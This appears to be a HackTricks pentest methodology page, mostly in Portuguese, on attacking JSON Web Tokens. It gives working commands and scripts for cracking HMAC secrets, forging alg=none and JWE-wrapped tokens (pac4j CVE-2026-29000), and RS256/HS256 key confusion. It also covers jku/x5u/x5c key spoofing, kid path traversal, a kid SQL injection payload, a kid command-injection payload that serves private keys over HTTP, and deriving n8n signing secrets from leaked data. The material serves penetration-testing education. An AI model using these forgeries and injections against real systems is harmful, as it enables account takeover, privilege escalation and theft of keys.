JWT Vulnerabilities (Json Web Tokens)
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Parte deste post é baseada no awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Author of the great tool to pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Execute jwt_tool com o modo All Tests! e espere pelas linhas verdes
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se você tiver sorte, a ferramenta encontrará algum caso em que a aplicação web está verificando o JWT incorretamente:
.png)
Então, você pode procurar a request no seu proxy ou fazer dump do JWT usado para essa request usando a ferramenta jwt_:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Você também pode usar a Burp Extension SignSaboteur para lançar ataques JWT a partir do Burp.
Practical JWT assessment workflow
- Scope the session control: Escolha uma request específica de usuário (por exemplo, profile, billing). Remova cookies/headers um de cada vez até que a request seja rejeitada para isolar qual(is) token(s) realmente controlam a autorização.
- Locate JWTs in traffic: Eles geralmente ficam em
Authorization: Bearer <JWT>, mas também aparecem em custom headers ou cookies. Se o Burp não os destacar, use Target → Site map → Engagement tools → Search with regex patterns como: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Use Burp JWT Editor ou
python3 jwt_tool.py <JWT>para ler header/payload. Notealg,exp/token lifetime, e claims que dirigem authn/authz (role,id,username,email, etc.). - Signature enforcement sanity check: Altere ou delete alguns bytes na parte da signature e reenviar. Se for aceito, isso indica falta de validação de signature e você pode modificar diretamente as claims do payload.
- Goal: Modificar claims do payload para escalar privilégios; cada ataque abaixo tem como objetivo fazer o server aceitar um payload adulterado explorando verificação fraca, secrets fracos ou seleção insegura de key.
Tamper data without modifying anything
Você pode simplesmente adulterar os dados mantendo a signature como está e verificar se o server está checando a signature. Tente mudar seu username para “admin”, por exemplo.
Is the token checked?
Para verificar se a signature de um JWT está sendo validada:
- Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
- Uma mudança na página retornada também indica verificação.
- Nenhuma mudança sugere ausência de verificação; é quando vale experimentar adulterar claims do payload.
Origin
É importante determinar se o token foi gerado no server-side ou client-side examinando o histórico de requests do proxy.
- Tokens vistos primeiro no lado do cliente sugerem que a key pode estar exposta a código client-side, exigindo investigação נוספת.
- Tokens originados no server-side indicam um processo seguro.
Duration
Verifique se o token dura mais de 24h… talvez ele nunca expire. Se houver um campo “exp”, verifique se o server está lidando com ele corretamente.
Brute-force HMAC secret
Se o header usar HS256, salve o token em um arquivo e tente crack offline:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Uma vez que o secret seja recuperado, carregue-o como uma symmetric key no Burp JWT Editor e re-assine as claims modificadas.
Derive JWT secrets from leaked config + DB data
Se uma leitura arbitrária de arquivo (ou leak de backup) expõe tanto material de encryption da aplicação quanto registros de usuários, às vezes você pode recriar o JWT signing secret e forjar session cookies sem conhecer nenhuma plaintext password. Exemplo de padrão observado em stacks de automação de workflow:
- Leak a app key (por exemplo,
encryptionKey) de um arquivo de configuração. - Leak a tabela de usuários para obter
email,password_hasheuser_id. - Derive o signing secret a partir da key, depois derive o hash por usuário esperado no payload do JWT:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Coloque o token assinado no cookie de sessão (por exemplo,
n8n-auth) para se passar pela conta do usuário/admin, mesmo que o hash da senha seja salted.
Modifique o algoritmo para None
Defina o algoritmo usado como “None” e remova a parte da assinatura.
Use a extensão do Burp “JSON Web Token” para tentar essa vulnerability e para alterar diferentes valores dentro do JWT (envie a request para o Repeater e, na aba “JSON Web Token”, você pode modificar os valores do token. Você também pode selecionar para definir o valor do campo “Alg” como “None”).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Alguns stacks esperam um signed inner JWT encapsulado dentro de um encrypted JWE. Em versões vulneráveis do pac4j-jwt (antes de 4.5.9, 5.7.9 e 6.3.3), o authenticator decrypts o JWE, tenta fazer parse do payload como um signed JWT e só verifica a signature se essa conversão tiver sucesso. Se o payload decrypted for um PlainJWT (alg=none), toSignedJWT() retorna null e o caminho de verificação da signature é ignorado.
- Pre-reqs:
- A aplicação aceita JWE bearer tokens
- A public key do server está exposta (comumente via JWKS como
/.well-known/jwks.jsonou/api/auth/jwks) - A autorização depende de claims controladas pelo attacker, como
sub,role,groupsouscope - Impact: forje um token encrypted para qualquer usuário/role usando apenas a public key
Verificações práticas:
- Enumere a frontend / API docs em busca de pistas como
RSA-OAEP-256,A128GCM/A256GCM,jwks, ou comentários dizendo “inner JWT is signed”. - Obtenha o JWKS e importe a chave RSA a partir de
n/e. - Construa o token inner manualmente como
base64url(header) + "." + base64url(payload) + "."para que a signature fique vazia. - Encrypt esse JWT em plaintext como um JWE usando a public key exposta e reenvie-o como o bearer token.
Construção mínima de PlainJWT:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
Encripte-o em um JWE compacto com a chave pública RSA do JWKS:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Notes:
- Se sua biblioteca JWT se recusar a emitir
alg=none, gere o token compacto manualmente como mostrado acima. - O valor
encdeve corresponder a um aceito pelo target; comentários do frontend e tokens legítimos frequentemente revelam isso. - Em SPAs, verifique se o bearer token está armazenado em
sessionStorage,localStorageou em um cookie acessível por JS; colocar o token forjado ali geralmente basta para validar o bypass rapidamente.
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
Se você mudar o algoritmo de RS256 para HS256, o código do back end usa a chave pública como chave secreta e então usa o algoritmo HS256 para verificar a assinatura.
Então, usando a chave pública e mudando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isto:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Usando o Burp JWT Editor, importe a chave pública RSA (de /.well-known/jwks.json ou um PEM) e execute Attack → HMAC Key Confusion Attack para automatizar a tentativa de re-assinatura HS256.
New public key inside the header
Um atacante incorpora uma nova chave no header do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).
Isso pode ser feito com a extensão “JSON Web Tokens” do Burp.
(Envie a request para o Repeater, dentro da aba JSON Web Token selecione “CVE-2018-0114” e envie a request).
JWKS Spoofing
As instruções detalham um método para avaliar a segurança de tokens JWT, particularmente aqueles que usam uma claim de header “jku”. Essa claim deve apontar para um arquivo JWKS (JSON Web Key Set) que contém a chave pública necessária para a verificação do token.
-
Avaliando Tokens com header “jku”:
-
Verifique a URL da claim “jku” para garantir que ela leva ao arquivo JWKS apropriado.
-
Modifique o valor “jku” do token para direcioná-lo a um serviço web controlado, permitindo a observação do tráfego.
-
Monitorando Interação HTTP:
-
Observar requests HTTP para sua URL especificada indica as tentativas do servidor de buscar chaves no seu link fornecido.
-
Ao usar
jwt_toolpara esse processo, é crucial atualizar o arquivojwtconf.inicom a sua localização JWKS para facilitar o teste. -
Comando para
jwt_tool: -
Execute o seguinte comando para simular o cenário com
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Uma claim de header opcional conhecida como kid é usada para identificar uma chave específica, o que se torna particularmente importante em ambientes onde existem múltiplas chaves para verificação da assinatura do token. Essa claim ajuda a selecionar a chave apropriada para verificar a assinatura de um token.
Revelando a Key através de “kid”
Quando a claim kid está presente no header, é aconselhável procurar no diretório web o arquivo correspondente ou suas variações. Por exemplo, se "kid":"key/12345" estiver especificado, os arquivos /key/12345 e /key/12345.pem devem ser procurados no web root.
Path Traversal com “kid”
A claim kid também pode ser explorada para navegar pelo file system, potencialmente permitindo a seleção de qualquer arquivo arbitrário. É possível testar conectividade ou executar ataques de Server-Side Request Forgery (SSRF) alterando o valor de kid para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor de kid mantendo a assinatura original pode ser feito usando a flag -T no jwt_tool, como demonstrado abaixo:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Ao mirar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo /proc/sys/kernel/randomize_va_space em sistemas Linux, conhecido por conter o valor 2, pode ser usado no parâmetro kid com 2 como a senha simétrica para a geração do JWT.
Um padrão prático para carregamento de chave em file-system frágil é gerar uma chave HS256 com o JWK k definido como AA==, definir kid para um traversal como ../../../../../../../dev/null, e resignar—algumas implementações tratam o arquivo vazio como um segredo HMAC válido e aceitarão tokens forjados.
SQL Injection via “kid”
Se o conteúdo do claim kid for usado para buscar uma senha de um database, uma SQL injection pode ser viabilizada ao modificar o payload do kid. Um exemplo de payload que usa SQL injection para alterar o processo de assinatura do JWT inclui:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Essa alteração força o uso de uma chave secreta conhecida, ATTACKER, para a assinatura do JWT.
OS Injection through “kid”
Um cenário em que o parâmetro kid especifica um caminho de arquivo usado dentro de um contexto de execução de comando pode levar a vulnerabilidades de Remote Code Execution (RCE). Ao injetar comandos no parâmetro kid, é possível expor chaves privadas. Um exemplo de payload para obter RCE e exposição de chave é:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku significa JWK Set URL.
Se o token usa um claim de Header “jku”, então verifique a URL fornecida. Ela deve apontar para uma URL contendo o arquivo JWKS que guarda a Public Key para verificar o token. Altere o token para fazer o valor jku apontar para um web service que você possa monitorar o tráfego.
Primeiro você precisa criar um novo certificado com novas private e public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves pública e privada criadas e apontando o parâmetro jku para o certificado criado. Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Você pode obter os parâmetros “e” e “n” de um certificado público usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
Se o verifier buscar o material da chave remotamente, incorpore uma URL do Burp Collaborator em jku/x5u usando JWT Editor → Attack → Embed Collaborator payload. Qualquer callback confirma a recuperação de chave estilo SSRF; então hospede seu próprio JWKS/PEM nessa URL e re-assine com sua private key para que o service valide tokens mintados pelo atacante.
x5u
X.509 URL. Uma URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificate) codificados em formato PEM. O primeiro certificate no conjunto deve ser o usado para assinar este JWT. Os certificates subsequentes assinam o anterior, completando assim a certificate chain. X.509 é definido no RFC 52807 . Transport security é required para transferir os certificates.
Tente alterar este header para uma URL sob seu controle e verifique se alguma request é recebida. Nesse caso, você poderia tamper o JWT.
Para forjar um novo token usando um certificate controlado por você, você precisa criar o certificate e extrair as public e private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado.
.png)
Você também pode abusar de ambas estas vulns para SSRFs.
x5c
Este parâmetro pode conter o certificado em base64:
.png)
Se o atacante gera um certificado autoassinado e cria um token forjado usando a chave privada correspondente e substitui o valor do parâmetro “x5c” pelo certificado recém-gerado e modifica os outros parâmetros, nomeadamente n, e e x5t, então essencialmente o token forjado será aceito pelo servidor.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Chave Pública Embutida (CVE-2018-0114)
Se o JWT tiver uma chave pública embutida, como no seguinte cenário:
.png)
Usando o seguinte script nodejs, é possível gerar uma chave pública a partir desses dados:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
É possível gerar uma nova chave privada/pública, incorporar a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Você pode obter o “n” e o “e” usando este script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finalmente, usando a chave pública e privada e os novos valores “n” e “e” você pode usar jwt.io para forjar um novo JWT válido com qualquer informação.
ES256: Revelando a chave privada com o mesmo nonce
Se algumas aplicações usam ES256 e usam o mesmo nonce para gerar dois jwts, a chave privada pode ser restaurada.
Aqui está um exemplo: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
A claim JTI (JWT ID) fornece um identificador único para um JWT Token. Ela pode ser usada para evitar que o token seja replayed.
No entanto, imagine uma situação em que o comprimento máximo do ID seja 4 (0001-9999). A request 0001 e 10001 vão usar o mesmo ID. Então, se o backend estiver incrementig o ID em cada request, você poderia abusar disso para replay a request (precisando enviar 10000 request entre cada replay bem-sucedido).
JWT Registered claims
Outros ataques
Cross-service Relay Attacks
Foi observado que algumas web applications dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registrados casos em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se registrar uma conta em outro cliente desse serviço usando o mesmo username/email deve ser investigada. Em seguida, deve-se tentar replay do token obtido em uma request ao target para ver se ele é aceito.
- Um issue crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo o spoofing da conta de qualquer usuário. No entanto, deve-se notar que pode ser necessária permissão para testes mais amplos caso se faça sign up em uma aplicação de terceiros, pois isso pode entrar em uma área cinzenta legal.
Expiry Check of Tokens
A expiração do token é verificada usando a claim “exp” do Payload. Como JWTs são frequentemente empregados sem informação de sessão, é necessário cuidado no tratamento. Em muitos casos, capturar e replay o JWT de outro usuário poderia permitir a impersonation desse usuário. O RFC do JWT recomenda mitigar ataques de replay de JWT usando a claim “exp” para definir um tempo de expiração para o token. Além disso, é crucial que a aplicação implemente as verificações relevantes para garantir o processamento desse valor e a rejeição de tokens expirados. Se o token incluir uma claim “exp” e os limites de tempo de teste permitirem, é aconselhável armazenar o token e fazer replay dele após o tempo de expiração ter passado. O conteúdo do token, incluindo parsing de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R do jwt_tool.
- Um risk de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) e semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


